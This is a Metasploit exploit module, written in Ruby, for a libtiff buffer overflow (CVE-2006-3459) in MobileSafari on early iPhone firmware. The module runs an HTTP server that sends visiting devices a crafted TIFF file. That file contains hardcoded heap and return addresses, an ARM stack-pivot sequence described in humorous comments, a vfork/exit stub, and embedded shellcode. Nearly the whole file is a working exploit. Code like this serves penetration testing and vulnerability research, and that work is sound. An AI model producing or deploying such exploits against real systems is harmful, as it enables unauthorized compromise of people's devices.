##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the version of
        libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
        1.1.1 of the Apple iPhone. iPhones which have not had the BSD
        tools installed will need to use a special payload.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>  ['hdm', 'kf'],
      'References'     =>
        [
          ['CVE', '2006-3459'],
          ['OSVDB', '27723'],
          ['BID', '19283']
        ],
      'Payload'        =>
        {
          'Space'    => 1800,
          'BadChars' => "",

          # Multi-threaded applications are not allowed to execve() on OS X
          # This stub injects a vfork/exit in front of the payload
          'Prepend'  =>
            [
              0xe3a0c042, # vfork
              0xef000080, # sc
              0xe3500000, # cmp r0, #0
              0x1a000001, # bne
              0xe3a0c001, # exit(0)
              0xef000080  # sc
            ].pack("V*")
        },
      'Arch'           => ARCH_ARMLE,
      'Platform'       => %w{ osx },
      'Targets'        =>
        [

          [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
            {
              'Platform' => 'osx',

              # Scratch space for our shellcode and stack
              'Heap'     => 0x00802000,

              # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
              'Magic'    => 0x300d562c,
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-08-01'
      ))
  end

  def on_request_uri(cli, req)


    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Grab reference to the target
    t = target

    print_status("Sending exploit")

    # Transmit the compressed response to the client
    send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })

    # Handle the payload
    handler(cli)
  end

  def generate_tiff(code, targ)

    #
    # This is a TIFF file, we have a huge range of evasion
    # capabilities, but for now, we don't use them.
    #  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
    #

    lolz = 2048
    tiff =
      "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
      "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
      "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
      "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
      "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
      "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
      "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
      "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
      "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
      [lolz].pack("V") +
      "\x84\x00\x00\x00\x00\x00\x00\x00"

    # Randomize the bajeezus out of our data
    hehe = rand_text(lolz)

    # Were going to candy mountain!
    hehe[120, 4] = [targ['Magic']].pack("V")

    # >> add r0, r4, #0x30
    hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

    # Candy mountain, Charlie!
    # >> mov r1, sp

    # It will be an adventure!
    # >> mov r2, r8
    hehe[ 92, 4] = [ hehe.length ].pack("V")

    # Its a magic leoplurodon!
    # It has spoken!
    # It has shown us the way!
    # >> bl _memcpy

    # Its just over this bridge, Charlie!
    # This magical bridge!
    # >> ldr r3, [r4, #32]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #32]
    # >> ldr r3, [r4, #36]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #36]
    # >> ldr r3, [r4, #40]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #40]
    # >> ldr r3, [r4, #44]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #44]

    # We made it to candy mountain!
    # Go inside Charlie!
    # sub sp, r7, #0x14
    hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

    # Goodbye Charlie!
    # ;; targ['Heap'] + 0x48 becomes the stack pointer
    # >> ldmia sp!, {r8, r10}

    # Hey, what the...!
    # >> ldmia sp!, {r4, r5, r6, r7, pc}

    # Return back to the copied heap data
    hehe[192, 4] = [  targ['Heap'] + 196  ].pack("V")

    # Insert our actual shellcode at heap location + 196
    hehe[196, payload.encoded.length] = payload.encoded

    tiff << hehe
  end
end